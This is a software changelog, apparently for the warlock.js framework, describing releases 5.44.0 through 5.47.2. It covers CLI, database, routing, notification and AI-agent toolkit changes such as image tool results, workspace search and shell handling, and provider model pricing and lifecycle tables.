Change Log
5.47.2November 6, 2026
Release notes that show newer releases, the queue in app CLI commands, a dev cache per project, and early warnings for imports the build rejects.
npx warlock release-notesadds a "Newer releases (not installed)" section from the docs site;--jsonreports installed and latest versions;--offlinekeeps the bundled-only output.preload: { configuredConnectors: true }starts the app's configured connectors, such as the queue, for a CLI command.warlock devkeeps a dependency cache per project root (webConnector({ cacheDir })to choose), so checkouts sharingnode_modulesdon't break each other.warlock devandwarlock check(WL9027) warn about?raw,?url,?workerand static-asset imports in server-compiled code.
node_modules/.vite/warlock-devis no longer used and can be deleted.
Full release notes or run npx warlock release-notes.
- Added
npx warlock release-notesincludes the 5.47.2 notes: release notes that show newer releases,preload.configuredConnectorsfor CLI commands, a per-project dev dependency cache, and early warnings for imports the production build rejects. - Added
preload.configuredConnectorsfor CLI commands: starts the early-phase connectors the app lists inwarlock.config.ts > connectors(the queue, for example) without importing every module'smain.ts, so an app's own command can dispatch queue jobs. It works with or withoutconnectors;mainModules: truestill implies it, and commands that set neither are unchanged. - Added
warlock checkreportsWL9027(a warning) when a file the production server bundle compiles, meaning any non-test source file undersrc/weband the project files they import, imports a static asset or a?rawor?urlquery, or a bare?workerquery (worded as "may fail").warlock devaccepts these imports andwarlock buildfails on them; the message names the file, the import and the build error's advice (move the file topublic/and reference its root URL). Files only the browser build reads are not reported. - Changed
npx warlock release-notesnow checkshttps://warlock.js.org/release-notes.jsonfor releases newer than the installed one. After the installed version's notes it prints a "Newer releases (not installed)" section with breaking changes first and thenpx warlock updatecommand;--fromruns to the latest release unless--tocaps it,--versioncan show a newer release and--listmarks installed and newer versions. The check is fail-soft (5 second timeout, 2 MB cap, shape validated, HTTPS to warlock.js.org only): a failure prints the bundled notes plus one warning line and leaves the exit code unchanged. Pass--offlinefor the previous bundled-only behaviour.--jsonaddsinstalledVersion,latestVersion, and per releaseinstalledandsource.
- Added
webConnector({ cacheDir })sets the directory of Vite's dependency cache inwarlock dev. A relative path is resolved against the app root. - Added
warlock devwarns, once per file, when the server render evaluates a module that imports a static asset or a?raw,?urlor?workerquery (such assome-pkg/dist/worker.mjs?worker&url). These imports work in development and failwarlock build, because pages are compiled into the server bundle; the warning gives the build error's advice; a bare?workerquery gets softer wording because the build does not reject it.warlock checkreports the same imports asWL9027. - Changed
warlock devkeeps Vite's optimized dependencies innode_modules/.vite/warlock-dev-<hash>, where the hash comes from the resolved project root. Checkouts of one app that share anode_modules(git worktrees) no longer share one cache, so one dev server re-optimizing no longer makes the others answer504 Outdated Optimize Dep. The directory is stable for a project across runs; folders left by moved or deleted checkouts can be removed by hand.
5.47.1November 6, 2026
How to check whether a model field holds a value: isFilled() or == null, with get() and has() documented for null columns.
- On PostgreSQL an unset column reads back as
null; test for a value withmodel.isFilled(field)or== null, not=== undefined. model.has(field)checks that the key exists, so it istruefor anullcolumn; defaults inget(field, fallback)apply only to missing keys (use?? fallbackto covernull).
- No runtime changes. If code checks optional columns with
=== undefinedorhas(), switch toisFilled()or== null.
Full release notes or run npx warlock release-notes.
- Added
npx warlock release-notesincludes the 5.47.1 notes: how to check whether a model field holds a value (isFilled()or== null;has()is true for anullcolumn; defaults apply only to missing keys).
5.47.0November 6, 2026
Image tool results that stay images across session turns, workspace search that skips dependency folders, PostgreSQL date helpers in UTC, and SEO-style page route segments.
ai.sessionstores image tool results as parts, so later turns send images instead of paying for base64 as text; records saved by 5.45 and 5.46 are repaired on load.- Workspace
globandgrepstart at the pattern's folder, skipnode_modules,.gitand gitignored paths, honour the run's signal and stop atsearch.maxFiles;hooks.onShellOutputstreamsrun_shelloutput live. - PostgreSQL connections run in UTC by default (
timezoneoption), sogroupByDateandwhereDate*match how dates are stored. - Model
saved/updatedlisteners receive the save's changes (changes,getLastSaveChanges()),model.isFilled(field)checks for null or missing values, and everypgpool option is forwarded. - Page routes accept
/:type-for-:purpose,/near/:lat-:lngand/files/*rest, with the same matching on server and browser. - Model lifecycle tables, prompt-length pricing tiers and dated tariffs, with refreshed models and context windows across the provider adapters.
- MCP http calls take a custom
fetchfor long calls and report stalls as timeouts;v.array(v.file())accepts a single file; the test server loads app modules again.
- PostgreSQL sessions now start in UTC; set
timezonein the connection options (orfalse) if raw SQL relied on the server's zone. - Workspace
globandgrepskipnode_modules,.gitand gitignored paths by default; setsearch.skipDirs: [".git"]orsearch.gitignore: falseto search them. - Under bash on Windows, unquoted backslash paths are refused with the forward-slash form.
Full release notes or run npx warlock release-notes.
- Added
policy.search:skipDirs(default[".git", "node_modules"]),gitignore(defaulttrue),maxFiles(default50000; the search stops there and the result carriestruncated: trueandmaxFilesReached: true) andconcurrency(default16). New typeWorkspaceSearchPolicy. - Added
ws.glob(pattern, { signal }),ws.grep(pattern, { signal }); theglobandgreptools pass the run's signal. - AddedOptional
WorkspaceBackend.listTyped(absDir)returning{ path, type }entries (typeWorkspaceBackendDirEntry); the local backend implements it. Backends without it keep working throughlistplusstat. - Added
hooks.onShellOutput({ callId?, jobId?, command, stream, chunk })streamsrun_shelloutput while the command runs, for foreground commands and background jobs (a job's events carry itsjobIdand continue afterrun_shellreturns). Chunks are decoded, ordered per stream and delivered at most about 20 times a second; a throwing hook is ignored and the tool result (truncation, spilling) is unchanged.hooks.redactShellOutput(text)masks secrets: output is buffered to whole lines before it is redacted so a secret split across reads is found, andshell.envvalues of eight or more characters are masked automatically.ExecOptions.callIdis echoed on a foreground command's events,WorkspaceBackendExecOptions.onOutputlets a backend stream (the local backend does; others deliver the whole capture at the end), and the new typeWorkspaceShellOutputEventis exported. - Changed
globandgrepno longer searchnode_modules,.gitor gitignored paths by default. Setsearch.skipDirs: [".git"]to searchnode_modulesagain andsearch.gitignore: falseto search ignored files; a pattern that names a skipped folder in its static prefix (node_modules/pkg/*.json) still searches it. - ChangedUnder bash on Windows, a command line with an unquoted backslash before a letter, digit or dot inside a word (
cd ab\terra4\client) is refused withreason: "unsupported-syntax"and a message showing the forward-slash form (ab/terra4/client), because bash reads the backslashes as escapes and runs a different path. Quoted paths and escaped spaces pass; bash on Linux and macOS is unchanged.run_shell's description states the forward-slash rule for bash on Windows.checkShellCommandtakes an optionalplatformoption. - Fixed
globandgreptimed out on large workspaces because they listed every folder (includingnode_modulesand.git) before matching, listed each entry a second time to tell files from folders, read all folders at once and ignored the run'ssignal. They now start at the pattern's static folder prefix (and atgrep'sglobfolder), dropdenyPaths, skipped and gitignored folders before listing them, read folders with their types in one call, read 16 folders at a time and stop when the signal aborts. The jail,denyPathsand symlink rules are unchanged (symlinked folders are never followed).
- AddedPostgreSQL pool config accepts
options(theoptionsstartup parameter) andtimezone. MongoDB date helpers were checked: they run in UTC by default and are unaffected. - Added
model.isFilled(field):truewhen the field exists and is neithernullnorundefined. A column that was never set reads back asnullon PostgreSQL (and is absent on MongoDB), so=== undefinedchecks pass for it;has()is alsotruefor anullcolumn.isFilled()treats both the same way. - Added
saved,createdandupdatedlisteners now receive the change diff in their context (changes: each changed column with itsoldValue/newValue,changedColumns, plusisInsert,optionsandmode). Before, the dirty tracker had already reset when these events fired, so a listener could not tell which fields changed. The tracker still resets before the events, so a listener that saves again sees fresh state. - Added
model.getLastSaveChanges()returns the diff of the last successfulsave(), during the post-save events and afterwards. It is empty for an insert. - ChangedBehaviour change, PostgreSQL: every connection now starts with its session time zone pinned to
UTC(sent as theoptionsstartup parameter, so pooled connections need no extra round trip). Before, the session followed the database server's zone, which shiftedgroupByDatebuckets andwhereDate/whereDateBetweenresults for rows near a day or month boundary whenever that zone was not UTC. Raw SQL such asnow()::datealso runs in UTC now. To choose another zone settimezone(e.g.clientOptions: { timezone: "Africa/Cairo" }); to keep the server's zone settimezone: false. An explicit-c TimeZone=…inoptionsor in the connection string still wins. - FixedPostgreSQL pool config forwards every
clientOptionskeypgaccepts (statement_timeout,query_timeout,lock_timeout,idle_in_transaction_session_timeout,keepAliveInitialDelayMillis,allowExitOnIdle,client_encoding,types, …) instead of dropping the ones it did not list. Only Cascade's own keys (naming,timezone,nativeArrayColumns,logging) are kept out; Cascade's pool defaults still apply.
- Added
npx warlock release-notesincludes the 5.47.0 notes: image tool results stored as parts, workspace search that skips dependency folders and a live shell output hook, PostgreSQL sessions in UTC, the save's changes insaved/updatedlisteners, mixed page-route segments, model lifecycle and tiered pricing tables, long MCP calls, single-file array uploads, and the test server loading app modules again. - FixedA single upload under an array field validates —
v.array(v.file())now accepts one file sent without[], andrequest.files(name)returns it as a one-element array.UploadedFilecarries a registered brand so validators can recognise it. - Fixed
createTestHttpServer({ loadAppModules: true })served an empty application: module discovery read the project files but never classified them, so noroutes.tsormain.tswas imported and the router andmain.tsregistries stayed empty. Files are now classified after they are read. - Fixed
loadAppModules: truenow throws, naming the project root and file counts, when the project has route ormain.tsfiles on disk and none were loaded, instead of silently serving no routes. - FixedModules loaded for one project root are no longer reused when a worker moves to another root.
- FixedThe boot manifest path (
.warlock/manifest.json) is resolved from the current directory on each use, not once when the framework is imported, so a process that changes directory never reads or writes another project's manifest.
- Added
ModelPricingtakestiers(rates for requests whose prompt is longer thanabovePromptTokens) andschedule(rates that take over from an ISO date).computeCostapplies them, counting cache reads and writes in the prompt length;computeCost(usage, pricing, { at })costs at a given date. NewresolvePricing(pricing, { promptTokens, at })returns the flat rates for one request, and the typesPricingTier,PricingChangeandPricingRatesare exported. - Added
ModelLifecycleandModelLifecycleStatus(current,retiring,retired, withretiresOnandreplacement) are the types of the provider packages' model lifecycle tables. - Fixed
ai.sessionstores a tool result that returned{ content: ToolResultPart[] }as parts, so later turns send the image as an image. It was saved as JSON text, and every following request paid for the base64 as text tokens. Records saved that way by earlier versions are restored as parts when loaded.CapturedMessage.contentPartscarries the parts beside the flatcontentstring onAgentReport.messages. - FixedClient-side token estimates (
contextEditing.clearToolResults.clearAtLeastand its trigger, compaction triggers) count each image, PDF or audio part as a fixed 1,000 tokens (MEDIA_PART_TOKENS,approximateJsonTokens) instead of by base64 length.
- Added
deepseek-flashis inDEEPSEEK_CHAT_MODELSand reports a 1,000,000-tokencapabilities.contextWindow, as do thedeepseek-v4-*ids (previously 128,000). - Added
DEEPSEEK_MODEL_LIFECYCLEanddeepseekLifecycleFor(name)give each model a status;DEEPSEEK_DEFAULT_PRICING_AS_OFdates the price table. - Changed
DEEPSEEK_CHAT_MODELSno longer listsdeepseek-chatanddeepseek-reasoner(retired 2026-07-24) ordeepseek-v4-flash; they areretiredinDEEPSEEK_MODEL_LIFECYCLE, anddeepseek.model({ name })still accepts them.
- Added
GOOGLE_MODEL_PRICINGlistsgemini-4-argon,gemini-3.8-flash,gemini-3.6-flashandgemini-3.1-pro-previewbesidesgemini-3.5-flash-lite. Scheduled prices are inschedule(gemini-4-argondoubles on 2026-12-01, the 3.6 and 3.8 Flash models on 2027-01-01) andgemini-3.1-pro-previewcarriestiersfor prompts above 200k tokens.GOOGLE_MODEL_PRICING_AS_OFdates the table. - Added
GOOGLE_MODEL_LIFECYCLEandgoogleLifecycleFor(name)give each model a status:gemini-2.5-proandgemini-2.5-flashareretiringon 2026-12-01,gemini-3.1-flash-liteon 2027-05-07, andgemini-3.5-flashand the 2.0 Flash models areretired. - Added
gemini-4-argonreports a 1,048,576-tokencapabilities.contextWindow.
- Added
qwen/qwen3.8-27bis inGROQ_KNOWN_MODELS. - Added
GROQ_MODEL_LIFECYCLEandgroqLifecycleFor(name)give each model a status;GROQ_DEFAULT_PRICING_AS_OFdates the price table. - Changed
GROQ_KNOWN_MODELSno longer listsllama-3.3-70b-versatile,llama-3.1-8b-instant(shut down 2026-08-16) anddeepseek-r1-distill-llama-70b(shut down 2025-10-02). They areretiredinGROQ_MODEL_LIFECYCLE, andgroq.model({ name })still accepts them.
- Added
OPENAI_MODEL_PRICINGlistsgpt-6.1-terra,gpt-6-cyber,gpt-6-astra,gpt-6-luna,gpt-5.6-terra,gpt-5.6-luna,gpt-5.5andgpt-5.4; the models billed by prompt length carrytiersfor prompts above 272K tokens.OPENAI_MODEL_PRICING_AS_OFdates the table. - Added
OPENAI_MODEL_LIFECYCLEandopenAILifecycleFor(name)give each priced model a status:o1,o3-mini,o4-miniandgpt-4.1-nanoareretired,gpt-5,gpt-5-mini,gpt-5-nanoando3areretiringon 2026-12-11,gpt-5.1andgpt-5.4-nanoon 2027-04-01,gpt-4.1andgpt-4.1-minion 2027-01-14. - Fixed
gpt-6models report a 1,050,000-tokencapabilities.contextWindowinstead of 400,000.
- Added
XAI_MODEL_PRICINGandxaiPricingFor(name)pricegrok-4.7,grok-4.6,grok-4.5,grok-4.3,grok-4.20-0309-reasoning,grok-4.20-0309-non-reasoning,grok-4.20-multi-agent-0309andgrok-build-0.1, withtiersfor prompts of 200k tokens or more.xai.model()uses them when nopricingis passed. - Added
XAI_MODEL_LIFECYCLEandxaiLifecycleFor(name)give those models a status;XAI_MODEL_PRICING_AS_OFdates the price table. - Added
capabilities.contextWindowis reported forgrok-4.3andgrok-4.20-*(1,000,000),grok-4.5togrok-4.7(500,000) andgrok-build-0.1(256,000).XAI_CHAT_MODELSlists the new ids.
- Added
ANTHROPIC_MODEL_PRICINGpricesclaude-haiku-5-5, withtiersfor prompts above 100,000 tokens (cache reads and writes counted).ANTHROPIC_MODEL_PRICING_AS_OFdates the table. - Added
ANTHROPIC_MODEL_LIFECYCLEandanthropicLifecycleFor(name)(alias or dated snapshot) give each model a status, for exampleclaude-sonnet-4-5isretiringon 2026-11-30 andclaude-opus-4-1isretired.
- Added
MISTRAL_MODEL_LIFECYCLEandmistralLifecycleFor(name)give the ids Mistral documents a status:zai-glm-5-2isretired,mistral-medium-3-5andmistral-large-2512areretiringon 2027-04-30. - Added
zai-glm-5-3reports a 1,000,000-tokencapabilities.contextWindow.
- Added
ai.mcp({ type: "http", url, fetch })takes an injectablefetch, used for every request. Node's built-infetchdrops a request whose response headers take over 300 seconds regardless oftimeoutMs; pass afetchbacked by a dispatcher with longerheadersTimeout/bodyTimeoutfor longer MCP tool calls. - FixedAn MCP http call that the HTTP client abandons because headers or body stalled (
UND_ERR_HEADERS_TIMEOUT,UND_ERR_BODY_TIMEOUT,UND_ERR_CONNECT_TIMEOUT) is now reported asMcpTransportErrorwithtype: "timeout"and the real cause code in the message, instead of a generic"connect""fetch failed".
- Fixed
v.array()accepts one uploaded file — a lone uploaded file (a multipart part sent without[]) is wrapped into a one-element array before validation, and the validated output carries the array. Strings and other scalars are not wrapped and still fail the array rule.
- AddedPage routes accept several params and static text in one segment, such as
/:type-for-:purposeor/near/:lat-:lng, and a named terminal wildcard such as/files/*rest. The generated page typings andhref()name every param (href("listing", { type: "house", purpose: "sale" })), encode each value on its own and keep the static text. A named wildcard's value is under its name and underparams["*"]. A segment splits greedily like the server's router (a-for-b-for-cagainst:x-for-:ygivesx = "a-for-b"), and the server, the browser matcher and the fallback matcher choose the same route: static, then mixed, then plain:param, then catch-all. Existing page routes, API route typings,href()andapiHref()are unchanged; file names have no form for these shapes, so declare them withconfig.route.path./:a:b(two params with no text between) and a repeated param name in these shapes are rejected at boot. So are two pages whose mixed segments tie on leading, trailing and total static text at the same position with the same segment count (such as/:a-for-:band/:x-for-:y): the server's router would choose between them by registration order, so the error names both pages and asks for more static text in one of them.
5.46.0November 6, 2026
Notifications keyed by recipient type, PostgreSQL array and JSON column fixes, seeding that works after migrate --fresh, and clearer build and dev-server errors.
- Declare
columnMap.recipientTypeand in-app notification reads filter by recipient type and id, so identities that share an id never see each other's notifications; new scaffolds declare it. - PostgreSQL saves number arrays to native array columns and JSON-encodes scalars in
json/jsonbcolumns, andorderByworks on select aliases. Model.exists(filter)andwhereNot(field, value)/whereNot(field, op, value)on both drivers.migrate --freshclears the seed log, andwarlock seedloads modulemain.tsfiles with the app's configured connectors.- tsconfig
pathsaliases resolve in Vite, one unsupported route no longer stops typings for every page, andwarlock devwrites.warlock/dev.pid. - The test server boots with a cloud storage default,
responseSchematakes[{ ...shape }], and a fresh scaffold with the test feature installs with npm again.
- Several identity types receiving in-app notifications: add a nullable
recipient_typecolumn, backfill it, then declarerecipientTypein the notification model'scolumnMap. warlock migrate --freshnow clears the seed log, so the nextwarlock seedruns every seeder again.- Apps scaffolded before 5.46.0 that share one R2 bucket: set
R2_PREFIXper app.
Full release notes or run npx warlock release-notes.
- Added
npx warlock release-notesincludes the 5.46.0 notes: secure notification recipient types, PostgreSQL array and JSON column fixes,Model.existsandwhereNot(field, value),migrate --freshclearing the seed log,warlock seedloading modulemain.tsfiles, tsconfig path aliases in Vite, thewarlock devPID file, and stale-typings detection. - Added
CLICommandPreload.mainModules: opt a command into importing every module'smain.ts(no routes, events or locales) after its declared connectors and the app's configured early-phase connectors start. Off by default so other commands stay fast. - AddedThe
WL9022message (a server-only file importing a.clientmodule) now says that a value shared by browser and server code belongs in the module'sweb/folder. - Added
warlock typecheckandwarlock checkreport oneWL7103warning, ahead of the errors, when the compiler finds errors and the generated typings in.warlock/typingsare missing or older than the files insrc. Runwarlock generate.typingsand typecheck again before fixing them. The warning does not change the exit code. - Added
warlock devwrites.warlock/dev.pidwith the PID of the process that actually serves, and removes it on exit. Stop the dev server withkill "$(cat .warlock/dev.pid)". - Added
responseSchemaaccepts an array of plain objects as a one-element tuple:items: [{ id: "int", label: "string" }]. The element may be an object shape, a cast or a resource;"object[]"stays the cast for an untyped array of objects. Types and generated typings follow the element shape. - ChangedThe generated notifications scaffold declares
recipientType: "recipient_type"in the notification model'scolumnMap, adds the column to its schema and migration, and passesidType: "integer"to match the scaffolded auth models, so identities that share an id never read each other's notifications. The generated controller spec fixture writes the recipient type on the rows it creates. - Fixed
warlock add testpins@vitest/coverage-v8to the same exact version asvitest(5.0.5), instead of a caret range that resolved to 5.1.0 beside the starter's vitest 5.0.5. npm 10.9 and 11 crashed while installing a freshly scaffolded app with the test feature. A spec now fails when a feature adds a package that peers on a starter dependency at a version other than the starter's pin. - Fixed
warlock add webpins@mongez/react-localizationto 3.5.1, the version its exact peer on@mongez/localizationrequires, so the starter's localization pin cannot split from it when a newer patch ships. - Fixed
warlock migrate --freshnow empties the seed log (_seedsand_seed_records) after rebuilding the schema. Before, the nextwarlock seedsaw everyonceseeder as already executed and silently did nothing against an empty database. Awarlock seedrun that skips every seeder now prints a warning. - Fixed
warlock seedimports every module'smain.tsafter its connectors start, together with the early-phase connectors listed inwarlock.config.ts > connectors(the queue, for example), so registries filled inmain.tsare populated while seeding and a seed can import amain.tsthat uses the queue. - FixedThe test server no longer fails at boot with "Cloud storage requires the AWS S3 SDK packages" when the default storage driver is a cloud driver and the storage fake is on. In the test environment the storage connector builds the configured default on first use instead of at boot; with the fake on, every driver is a local one.
- FixedThe dev server and the test server find the app's modules when the project path contains glob characters such as
[,(or{. File discovery now globs relative to the directory instead of prefixing the pattern with the absolute path.
- Added
Model.exists(filter?)returns whether any record matches the filter (or whether the table has any record when no filter is given). It is the static shorthand forwhere(filter).exists(). - Added
whereNotandorWhereNotaccept every shapewheredoes, on both drivers:whereNot("status", "archived"),whereNot("age", "<", 18),whereNot({ status: "banned" }), besides the existing callback form. - FixedPostgreSQL: a number array written to an
INTEGER[](or any native array) column is now bound as an array. Before, any all-number array was turned into a vector literal first, so Postgres rejected the insert with a malformed array literal. - FixedPostgreSQL: a string, number or boolean written to a
json/jsonbcolumn is now JSON-encoded, so saving the string"hello"no longer fails with "invalid input syntax for type json". The driver learns which columns arejson/jsonbfrom the same schema lookup it already runs on connect. - FixedPostgreSQL:
orderByon a select alias, such as thetotalofcount(*) AS total, now orders by that output name instead of failing with "column does not exist".
- AddedThe
pathsin an app'stsconfig.json(such as@shared/*) are mirrored into Vite forwarlock devand the production client build, so an alias that typechecks also resolves. Aliases passed to the Web connector and the built-inweb/*andapp/*aliases still win. - AddedDiscovery warns, once per process, about a
layout.tsxoutside the routed page tree (no page beside or below it) and says to rename it if it is an ordinary component. - Changed
warlock generate.typingsno longer stops when one page declares an unsupported route path: it prints the page and the rejected path, leaves that page out, and generates typings for the rest. The build still fails on such a page. - ChangedThe module-boundary error now names the module's
web/folder as the place for a constant shared by browser and server setup code. - Changed
ProjectionAmbiguityErrorfor a computed top-level initializer now suggests a literal value or a*.client.tsfile (the message already carries the file and line).
- Added
columnMap.recipientType: stores the recipient's identity type next to its id. Thedatabasechannel writes it from the recipient model (an auth model'suserType, otherwise the table name), andnotificationColumns()emits the column. - Added
inAppread, count, mark-read, mark-unread, find and dismiss methods (and the matching repository methods) accept{ type, id }(RecipientRef) as well as a model or bare id, and filter by type and id when the column is declared. - Added
RecipientTypeRequiredError,recipientTypeOf(),RecipientRef,RecipientInput. - Added
notificationColumns(…, { recipientModel })derives the id column type from the recipient model (integer, oruuidwhen it setsautoGenerateId = false). Without it the default stays UUID.
- ChangedThe starter's
src/config/storage.tsreads the storage driver fromSTORAGE_DRIVER(defaultlocal) and the R2 key prefix fromR2_PREFIX, which defaults to the app's name (APP_NAME). The driver and prefix were fixed tolocalandwarlock.js, so every scaffolded app sharing one R2 bucket wrote to the same prefix..env.exampledocuments both keys. Projects scaffolded before this release keep their hard-coded prefix until they setR2_PREFIX=warlock.js. - FixedA fresh scaffold with the Testing feature no longer crashes npm install. The starter pins
vitest5.0.5, and the feature added@vitest/coverage-v8as a caret range that resolved to 5.1.0. The starter and the feature now pin the same exact version. - FixedThe starter pins
@mongez/localizationat 3.5.1 (was^3.5.1), the version the Web feature's@mongez/react-localizationrequires as an exact peer.
- Changed
requiredWith,requiredWithoutand the rest of the unsuffixedrequired*rules now say, in their JSDoc and in the docs, that the other field is looked up from the root of the validated data. Inside a nested object such asaddress: { en, ar }, use theSiblingvariant (requiredWithoutSibling("ar")). Behaviour is unchanged.
5.45.0November 5, 2026
Images in tool results, metered compaction summaries, a context window for every known model, and a safer workspace on Windows PowerShell 5.1.
- A tool can return
{ content: [...] }with text and image parts; Anthropic, Bedrock and OpenAI's Responses API show the images to the model, other providers get a placeholder (capabilities.toolResultImages), and MCP image results are forwarded. ai.compaction.summarize({ middleware })meters every summary call (retries included) with middleware such asbudget(),budget(...).wrapModel(model)meters direct model calls, andlengthRetryturns off or tunes the summary's length retry.clearToolResults.clearAtLeastskips clears that free too few tokens (Anthropicclear_at_least).- Every provider adapter reports
contextWindowfor its known chat models, Ollama reads it from the server, andmodelContextWindow(model)returns it. - The workspace detects Windows PowerShell 5.1 and refuses
&&/||there with an explanation,onAskcan remember several patterns and pass a refusal reason to the model, and spilled results list their files inspilledTo. supervisor({ pidWaitMs, setupTimeoutMs })waits for a real process ID on Windows terminals and fails withProcessStartupErrorinstead of supervising pid 0.
- On Windows with Windows PowerShell 5.1 and Git Bash but no
pwsh, the workspace'sinterpreter: "auto"now picks Git Bash; passinterpreter: "powershell"to keep PowerShell. - The process supervisor's setup gate waits 30 s on Windows and macOS (5 s on Linux); set
setupTimeoutMsto choose.
Full release notes or run npx warlock release-notes.
- Added
ai.compaction.summarize({ middleware })runs middleware around every call the summarizer makes (first attempt, length retry, shrink retries, heading follow-up), so abudgetcan hold summary calls to a spend cap; a refusal fails the summary like any summarizer error. Also takessignal. - Added
ai.middleware.budget(...).wrapModel(model)returns a model whosecomplete()calls are metered by that budget.budget()now returnsBudgetMiddleware, andwrapModelWithMiddleware(model, middleware)is the general form. - Added
ai.compaction.summarize({ lengthRetry }):falseturns off the retry after a reply cut by the output cap,{ shrink }sets the share of input kept on the retry (default 0.7). - Added
contextEditing.clearToolResults.clearAtLeast: a client-side clear is skipped when it would free fewer tokens than this; sent to native-editing models asModelCallOptions.contextEditing.clearToolResults.clearAtLeast. - AddedA tool's
executecan return{ content: ToolResultPart[] }(text and image parts;ToolResultPart,ToolResultContent) so the model sees images, such as a screenshot. The agent carries the parts on thetoolmessage instead of stringifying them. A return value is read as parts only when its sole key iscontentand every element is a valid part (isToolResultContent); every other value keeps its JSON serialisation. - Added
ModelCapabilities.toolResultImagessays whether an adapter shows tool-result images to the model. Adapters that cannot send the text[image omitted: provider cannot read images in tool results](TOOL_RESULT_IMAGE_PLACEHOLDER,toolResultText(content)) in place of each image. - Added
contextEditing.clearToolResultsreplaces an old image result with the cleared-result placeholder. - Added
ai.modelContextWindow(model)(modelContextWindow) returns the context window a model reports throughcapabilities.contextWindow, orundefinedwhen it reports none or an invalid value. Window-relative compaction and context-editing triggers read the window through it.
- Added
pidWaitMssupervisor option: how long a terminal may take to report a real process ID afterspawnPty(). Defaults to 10 s. ConPTY reports pid 0 for a moment after spawn on Windows; the supervisor now waits for the real pid instead of supervising pid 0. - Added
setupTimeoutMssupervisor option: how long a launched child has to reach its resource setup gate. Defaults to 5 s on Linux and 30 s on Windows and macOS. Explicit values win. - Added
ProcessStartupError, thrown when a launch cannot be supervised. Itsreasonisno-pid(no real pid arrived withinpidWaitMs),exited(the child exited before its gate) orsetup-timeout(the gate was not reached withinsetupTimeoutMs). - ChangedThe setup gate deadline is 30 s on Windows and macOS (it was 5 s on every platform). Linux keeps 5 s.
- ChangedA launch that fails at its setup gate now rejects with
ProcessStartupError; the message is unchanged. - FixedA terminal that reported pid 0 right after
spawnPty()could be supervised under pid 0. The launch now waits for a real pid, and a terminal that never reports one is stopped on a best-effort basis and rejected withProcessStartupError.
- Added
resolveShell()reports which PowerShell it found:ResolvedShellgainsedition("desktop"for Windows PowerShell 5.1,"core"for PowerShell 7+; exported typePowerShellEdition) andversion("5.1"for Windows PowerShell; forpwshwhenShellHost.powershellVersionis supplied). Windows PowerShell 5.1 gets the labelWindows PowerShell 5.1 (powershell)and its own"powershell5"dialect, whose parser refuses&&and||with "Windows PowerShell 5.1 cannot run &&; use ; or run each command in its own call instead.".run_shell's description for that dialect no longer promises chaining. - Added
onAskdecisions:rememberaccepts one pattern or an array, so a line that asks about several commands can approve them all.workspace.shell.remembered()lists the remembered patterns andworkspace.shell.forget(pattern)removes one. A configured deny still beats them. - Added
onAskdecisions:reason?: stringis appended to therun_shellrefusal the model reads, cut at 500 characters with a[truncated]marker. - AddedA flat
spilledTo?: string[]on everyrun_shell,shell_output,read_file,grepandglobresult that spilled output to disk, and a spilled head-and-tail text now ends with a[full output saved to …]line. Theuse-a-workspaceskill documents each tool's result shape. - ChangedOn Windows,
interpreter: "auto"now pickspwsh(PowerShell 7+), then Git Bash, then Windows PowerShell 5.1, thencmd.exe, so a machine with Git for Windows and only PowerShell 5.1 runs&&lines under bash instead of failing in PowerShell.
- AddedThe agent-level
contextEditing.clearToolResults.clearAtLeastis mapped toclear_at_leaston the nativeclear_tool_usesedit, next to the resolvedtrigger,keepandexclude_tools. - AddedImage parts in a tool result are sent as
imageblocks inside thetool_result; the model reportscapabilities.toolResultImages: true. - Added
capabilities.contextWindowis reported for every known Claude release: 1M for Opus 4.6 to 5.5, Sonnet 4.6 to 5.5, Haiku 5.5, Fable and Mythos, and 200K for Opus 4 to 4.5, Sonnet 4 to 4.5, Haiku 4.5 and the Claude 3 line.contextWindowin the model config still wins.
- AddedImage parts in a tool result are sent as Converse
imageblocks inside thetoolResult; the model reportscapabilities.toolResultImages: true. - Added
bedrock.model({ name, contextWindow })andcapabilities.contextWindow, inferred from the model id for Claude, Nova, Llama, Mistral, Command R and Jamba models (region prefixes and version suffixes are fine). The config value wins; unlisted ids stay unset.
- AddedImage parts in a tool result are replaced by the text
[image omitted: provider cannot read images in tool results];capabilities.toolResultImagesisfalse. - Added
capabilities.contextWindowis reported for Gemini 3.x (1,048,576) and Gemini 1.5 Pro (2,097,152), besides the families already covered.
- AddedImage parts in a tool result are replaced by the text
[image omitted: provider cannot read images in tool results];capabilities.toolResultImagesisfalse. - Added
contextWindowoption onollama.modelsetscapabilities.contextWindow. Without it the adapter asks/api/showon the first call (anum_ctxmodel parameter wins over the architecturecontext_length), so the window is known from the second call on. Model creation stays synchronous, the call never waits for the lookup, a failed lookup leaves the window unset, and the config value always wins.
- AddedWith
api: "responses"on the OpenAI provider, image parts in a tool result are sent asinput_imageitems in thefunction_call_output(capabilities.toolResultImages: true). Chat Completions and the OpenAI-compatible providers send the text[image omitted: provider cannot read images in tool results]and reportfalse. - Added
capabilities.contextWindowis reported for more direct-OpenAI ids:gpt-5.xandgpt-6(400K, the documented gpt-5 figure; setcontextWindowfor a larger window),gpt-4,gpt-4-turbo,gpt-3.5-turbo,chatgpt-4o,o3-mini,o3-proando1-pro.
- Added
capabilities.toolResultImagesisfalse; tool-result images reach CLI agents as text only.
- Added
capabilities.contextWindowis reported fordeepseek-chat,deepseek-reasoneranddeepseek-v4-*(128,000; a conservative figure for V4). NewcontextWindowoption ondeepseek.model.
- Added
capabilities.contextWindowis reported for Groq-hosted Llama, gpt-oss, Qwen3 and DeepSeek-R1 distill ids (131,072) and Kimi K2 (262,144). NewcontextWindowoption ongroq.model.
- Added
capabilities.contextWindowis reported for Mistral ids (128,000 for Large, Medium, Small, Ministral, Pixtral and Magistral; 256,000 for Codestral). Newer generations document larger windows; setcontextWindowonmistral.modelfor those.
- AddedAn MCP tool result that contains an
imagecontent block (base64datain a PNG, JPEG, WebP or GIFmimeType) is returned as{ content: ToolResultPart[] }, so providers that read tool-result images show the picture to the model. Text blocks become text parts; results without images keep their shape.
- Added
capabilities.contextWindowis reported for Grok ids (2,000,000 forgrok-4-fast/grok-4-1-fast, 256,000 forgrok-4/grok-code-fast, 131,072 forgrok-3/grok-2, 32,768 forgrok-2-vision). NewcontextWindowoption onxai.model.
- Added
npx warlock release-notesincludes the 5.45.0 notes: images in tool results, metered compaction summaries and length-retry control,clearAtLeastfor tool-result clearing, context windows for every known model andmodelContextWindow, Windows PowerShell 5.1 detection, several remembered shell approvals with refusal reasons, flatspilledToon tool results, and the process supervisor'spidWaitMs/setupTimeoutMs.
5.44.0November 5, 2026
Window-relative compaction, model retries and cache diagnostics, plus workspace command rules, PowerShell support, forgiving edits and output spill.
